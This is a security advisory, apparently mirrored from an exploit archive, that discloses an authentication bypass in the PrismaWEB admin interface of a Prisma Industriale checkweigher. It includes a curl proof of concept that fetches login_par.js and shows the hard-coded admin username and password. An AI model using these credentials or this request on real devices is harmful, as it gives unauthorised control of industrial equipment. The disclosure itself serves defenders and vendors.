Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass Vulnerability

Prisma Industriale Checkweigher PrismaWEB 1.21 Authentication Bypass


Vendor: Prisma Industriale S.r.l.
Product web page: https://www.prismaindustriale.com
Affected version: 1.0 (Rev 21, EPROM 202FWSAM ??)

Summary: Web Administration of Machine.

Desc: The vulnerability exists due to the disclosure of hard-coded credentials allowing
an attacker to effectively bypass authentication of PrismaWEB with administrator
privileges. The credentials can be disclosed by simply navigating to the login_par.js
JavaScript page that holds the username and password for the management interface that
are being used via the Login() function in /scripts/functions_cookie.js script.

Tested on: HMS AnyBus-S WebServer


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2018-5453
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5453.php

06.02.2018

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$ curl http://10.10.10.70/user/scripts/login_par.js
// JavaScript Document
// 11 Dicembre 2009 Release 1.0 Rev.10

var txtChkUser				= "prismaweb";	// Nome utente Login
var txtChkPassword 			= "prisma";		// Password Login

#  0day.today [2018-03-19]  #